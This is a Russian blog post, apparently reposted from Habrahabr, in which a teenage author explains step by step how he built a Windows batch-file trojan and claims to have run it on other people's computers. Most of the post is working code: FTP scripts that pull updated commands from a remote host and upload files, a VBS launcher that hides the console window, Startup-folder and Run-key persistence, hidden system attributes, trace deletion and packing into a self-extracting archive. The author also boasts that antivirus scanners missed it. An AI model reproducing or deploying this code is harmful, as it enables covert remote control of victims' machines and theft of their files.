Вирус на batch

от автора

Каждому хоть раз да хотелось полазить в чужих файлах без их ведома, но многих отталкивает идея скачивание различных генераторов, потому что неизвестно, что ещё в них запихнули создатели, да и антивирусы их видят на ура. Однажды мне тоже захотелось чего-нибудь да сделать. Сначала я решил освоить что-нибудь простое и необходимое и начал с командной строки, вещи как впоследствии оказалось незаменимой.

Освоив загрузку по ftp, я решил создать обыкновенный вирус для загрузки файлов с чужого компа:
@echo Off

@ftp -s:ftp_com.ini -i ******.host56.com
Rem Выбрал хостинг 000webhost.com за возможность редактировать любые текстовые файлы через интернет.

Файл ftp_com.ini — файл в котором хранятся сначала логин и пароль, а затем ftp команды.
Затем создал файл для скрытия командной строки на vbs:

Set oShell = WScript.CreateObject("WScript.Shell")
oShell.Run "Путь к файлу ", 0, False

Затем (так как на компе Vista) скопировал этот vbs файл в автозагрузку. И для хоть какого-то скрытия сделал его скрытым системным (так как там, где я их собирался использовать даже скрытые файлы не отображаются), добавив в 1 батник(Я его назвал WinSys.cmd) 2 строки:

copy vbsmach.vbs "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
attrib +S +H "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\vbsmach.vbs"

vbsmach.vbs — тот самый vbs скрипт.
Но потом, опробовав на другом компе на XP понял, что он не работает и для надёжности запихнул это в файл реестра. Он получился вот таким:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"System32"="\"%%userprofile%%\\AppData\\Roaming\\Microsoft\\Windows\\WinSys.cmd""

И в теле батника пишем reg import файл реестра.reg
Затем я запустил на своём компе батник и понял, что он иногда зависает и решил сделать задержку и решил для этого сделать другой cmd-файл — WinHelp.cmd вписав в него

ping -n 10 127.0.0.1
cls
WinSys.cmd

Теперь надо добавить возможность управлять им хоть как-то. Для этого в файл Ftp_com.ini надо добавить команду для загрузки и отправки файлов:

Логин от ftp сервера
пароль от ftp сервера
get ftp_com.ini

get WinHelp.cmd

put tree.txt

bye

Я решил не изменять файл WinSys.cmd, хотя это возможно сделать без проблем. Теперь на ftp-сервере загружаем все файлы и вирус готов. Но я для скрытности добавил пару строчек в файл WinSys.cmd

copy vbsmach.vbs "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
Copy Winsys.cmd "%userprofile%\AppData\Roaming\Microsoft\Windows"
Copy WinHelp.cmd "%userprofile%\AppData\Roaming\Microsoft\Windows"
Copy ftp_com.ini "%userprofile%\AppData\Roaming\Microsoft\Windows"
attrib +S +H "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\vbsmach.vbs"
attrib +S +H "%userprofile%\AppData\Roaming\Microsoft\Windows\Winsys.cmd"
attrib +S +H "%userprofile%\AppData\Roaming\Microsoft\Windows\WinHelp.cmd"
attrib +S +H "%userprofile%\AppData\Roaming\Microsoft\Windows\ftp_com.ini"

%userprofile%\AppData\Roaming\Microsoft\Windows\WinHelp.cmd

Последняя строка необходима для того, чтобы он работал постоянно.
И так он готов, но мы же не будем кому-то давать столько файлов, поэтому надо бы всё это запихнуть либо в exe файл, либо в 1 bat файл, но я выбрал первый вариант, так как многие очень боятся всех этих bat,cmd файлов, сделав это через winrar, предварительно прописав запуск файла vbsmach.vbs после разархивирования. Опробовав это я понял, что это оставляет очень много улик, поэтому я решил изменить в вирусе многое многое. Вот что получилось в WinSys.cmd:

@ftp -s:ftp_com.ini -i ****.host56.com

cls
reg import regedit.reg
copy vbsmach.vbs "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
Copy Winsys.cmd "%userprofile%\AppData\Roaming\Microsoft\Windows"
Copy WinHelp.cmd "%userprofile%\AppData\Roaming\Microsoft\Windows"
Copy ftp_com.ini "%userprofile%\AppData\Roaming\Microsoft\Windows"
del /q ftp_com.ini
del /q WinHelp.cmd
del /q vbsmach.vbs
attrib +S +H "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\vbsmach.vbs"
attrib +S +H "%userprofile%\AppData\Roaming\Microsoft\Windows\Winsys.cmd"
attrib +S +H "%userprofile%\AppData\Roaming\Microsoft\Windows\WinHelp.cmd"
attrib +S +H "%userprofile%\AppData\Roaming\Microsoft\Windows\ftp_com.ini"
%userprofile%\AppData\Roaming\Microsoft\Windows\WinHelp.cmd

А при архивирование ввёл путь %userprofile%\downloads и в файл WinHelp.cmd добавил строку
del /q %userprofile%\WinSys.cmd

Вот что из себя представлял вирус после его написания:
Файл WinSys.cmd

@ftp -s:ftp_com.ini -i ****.host56.com

cls
reg import regedit.reg
copy vbsmach.vbs "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
Copy Winsys.cmd "%userprofile%\AppData\Roaming\Microsoft\Windows"
Copy WinHelp.cmd "%userprofile%\AppData\Roaming\Microsoft\Windows"
Copy ftp_com.ini "%userprofile%\AppData\Roaming\Microsoft\Windows"
del /q ftp_com.ini
del /q WinHelp.cmd
del /q vbsmach.vbs
attrib +S +H "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\vbsmach.vbs"
attrib +S +H "%userprofile%\AppData\Roaming\Microsoft\Windows\Winsys.cmd"
attrib +S +H "%userprofile%\AppData\Roaming\Microsoft\Windows\WinHelp.cmd"
attrib +S +H "%userprofile%\AppData\Roaming\Microsoft\Windows\ftp_com.ini"
%userprofile%\AppData\Roaming\Microsoft\Windows\WinHelp.cmd

Файл WInhelp.cmd, но он нужен не только для задержки, лучше всего внедрять необходимые функции для запуска файлов именно в него:

del /q %userprofile%\WinSys.cmd
del /q %userprofile%\regedit.reg
ping -n 10 127.0.0.1
cls
WinSys.cmd

Файл реестра — regedit.reg

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"System32"="\"%%userprofile%%\\AppData\\Roaming\\Microsoft\\Windows\\WinHelp.cmd""

Файл ftp_com.ini

логин от ftp сервера
пароль
get ftp_com.ini

get WinHelp.cmd

bye

Как с ним работать думаю понятно. После создания архива решил проверить на virustotal www.virustotal.com/file/da428b5c22d4730370ad2018e70eb5fed3dc2b5c7afe9e4fe93a739772aa18e1/analysis/1359883653/
И был удивлён ни один антивирус ничего не заподозрил. Это мой первый вирус, который я решил запустить на некоторые компы, естественно на разных ftp серверах, но спустя некоторое время удалил, так как на них ничего интересного не было.
Его обнаружение конечно не составляет труда, да и функционала хватит только попугать человека ( хотя можно загрузить много всякой гадости на тот комп, но это уже другой разговор), но меня поразило, что никакая эвристика не распознала в нём ничего подозрительного. И непонятно зачем она нужна если даже такой как я 13-летний мальчишка может её обойти.
После этого я стал относится к фаерволам, как одной из наилучших защит против всякой нечести и антивирус нужен лишь для защиты от блокировщиков, да и только.

ссылка на оригинал статьи http://habrahabr.ru/post/168099/


Комментарии

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *